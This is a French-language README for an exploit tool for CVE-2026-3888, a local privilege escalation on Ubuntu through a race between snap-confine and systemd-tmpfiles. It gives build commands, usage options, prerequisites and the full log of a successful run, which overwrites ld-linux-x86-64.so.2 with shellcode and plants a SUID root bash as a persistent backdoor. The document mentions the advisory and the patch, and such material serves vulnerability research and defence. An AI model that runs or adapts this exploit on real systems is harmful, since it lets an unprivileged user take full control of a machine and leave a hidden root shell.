
Exploit d'élévation de privilèges locale pour CVE-2026-3888 ciblant snap-confine et systemd-tmpfiles sur Ubuntu, fournissant des variantes SUID et capabilities pour obtenir un accès root.
Élévation de privilèges locale d'un utilisateur non privilégié à root complet sur Ubuntu Desktop 24.04+ en exploitant une condition de course TOCTOU entre snap-confine et systemd-tmpfiles. Deux variantes sont fournies : SUID et Capabilities.
CVSS : 7.8 (Élevé) | Avis de sécurité : Qualys | Correctif : snapd 2.74.2, 17 mars 2026
| Ubuntu 24.04 (SUID) | Ubuntu 25.10 (Capabilities) | |
|---|---|---|
| snap-confine | SUID-root | Capabilities (cap_sys_admin, etc.) |
| Snap cible | firefox | snap-store |
| Imitation de la cible | /usr/lib/x86_64-linux-gnu (~285 entrées) | /var/lib (~17 entrées) |
| Vecteur d'exploitation | Écrasement de ld-linux-x86-64.so.2 avec du shellcode | Contrôle de user-fstab + ld.so.preload |
| Format de la charge utile | ELF statique avec appels système bruts | Bibliothèque partagée avec __attribute__((constructor)) |
| Déclencheur root | Le snap-confine SUID charge le lieur dynamique empoisonné | Le su SUID dans /tmp/.snap précharge le .so |
| Exigence cgroup | Tout nom snap.* | Correspondance exacte : snap.snap-store.hook.configure |
Nettoyage .snap | 30 jours | 10 jours |
| Évasion du sandbox | /var/snap/firefox/common/bash | /var/snap/snap-store/common/bash |
systemd-tmpfiles supprime le répertoire d'imitation .snap obsolète sous /tmp (expiration après 30 jours)snap-confine via la contre-pression de socket AF_UNIX pour gagner la course de manière fiable pendant la séquence de bind-mount d'imitationld-linux-x86-64.so.2 est remplacé par un shellcode qui appelle setreuid(0,0) + execvesnap-confine SUID déclenche le shellcode avec les privilèges root/var/snap/firefox/common/ pour s'échapper du sandbox| Fichier | Description |
|---|---|
exploit_suid.c | Exploit unifié en un seul binaire — les 7 phases dans un orchestrateur basé sur fork |
librootshell_suid.c | Charge utile — ELF minimal qui remplace ld-linux-x86-64.so.2 via des appels système x86_64 bruts |
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
Les deux doivent être compilés sur (ou compilés en croisé pour) Linux x86_64. exploit est lié statiquement afin de s'exécuter dans le sandbox snap sans dépendances de bibliothèques. librootshell.so utilise -nostdlib car il ne contient que des appels système bruts — pas de libc.
./exploit <librootshell.so> [-d] [-s]
| Option | Description |
|---|---|
-d | Afficher la sortie de débogage de snap-confine (mode verbeux) |
-s | Ignorer l'attente du nettoyage .snap (nécessite le mot de passe root) |
# Exécution normale
./exploit ./librootshell.so
# Mode débogage
./exploit ./librootshell.so -d
# Nouvelle tentative après échec
./exploit ./librootshell.so -s
L'exploit entre dans le sandbox, attend que systemd-tmpfiles supprime .snap (jusqu'à 10 jours sur Ubuntu 25.10 standard et jusqu'à 30 jours sur Ubuntu 24.04 standard), puis exécute la course automatiquement. En cas de succès, il ouvre un shell root.
snap-confine doit être SUID-root (-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine)systemd-tmpfiles-clean.timer actifbusybox disponible sur la cible (/usr/bin/busybox)user@ubuntu:~$ snap --version
snap 2.63.1+24.04
snapd 2.63.1+24.04
series 16
ubuntu 24.04
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — Élévation de privilèges locale SUID snap-confine / systemd-tmpfiles
================================================================
[*] Charge utile : /home/user/./librootshell.so (9056 octets)
[Phase 1] Entrée dans le sandbox Firefox...
[+] PID du shell interne : 3122
[Phase 2] Attente de la suppression de .snap...
[*] Interrogation (jusqu'à 30 jours sur Ubuntu standard).
[*] Astuce : utilisez -s pour ignorer.
[+] .snap supprimé.
[Phase 3] Destruction de l'espace de noms de montage en cache...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_sygTaK//dev: No such file or directory
[+] Espace de noms détruit.
[Phase 4] Configuration et exécution de la course...
[*] Répertoire de travail : /proc/3122/cwd
[*] Construction de .snap et .exchange...
[*] 285 entrées copiées dans le répertoire d'échange
[*] Démarrage de la course...
[*] Surveillance de snap-confine (PID enfant 3543)...
[!] DÉCLENCHEMENT — échange des répertoires...
[+] ÉCHANGE TERMINÉ — course gagnée !
[*] ld-linux dans l'espace de noms : user:user 755
[+] PID de l'espace de noms empoisonné : 3543
[Phase 5] Injection de la charge utile dans l'espace de noms empoisonné...
[+] ld-linux appartient à l'uid 1000 (attaquant). Course confirmée.
[*] Installation de busybox...
[*] Écriture du script d'évasion → /tmp/sh
[*] Écrasement de ld-linux-x86-64.so.2...
[+] Charge utile injectée.
[Phase 6] Déclenchement de root via snap-confine SUID...
[*] snap-confine → snap-confine (déclencheur SUID)
[*] Statut de sortie : 0
[Phase 7] Vérification...
[+] bash root SUID : /var/snap/firefox/common/bash (mode 4755)
[*] Nettoyage des processus en arrière-plan...
================================================================
SHELL ROOT : /var/snap/firefox/common/bash -p
================================================================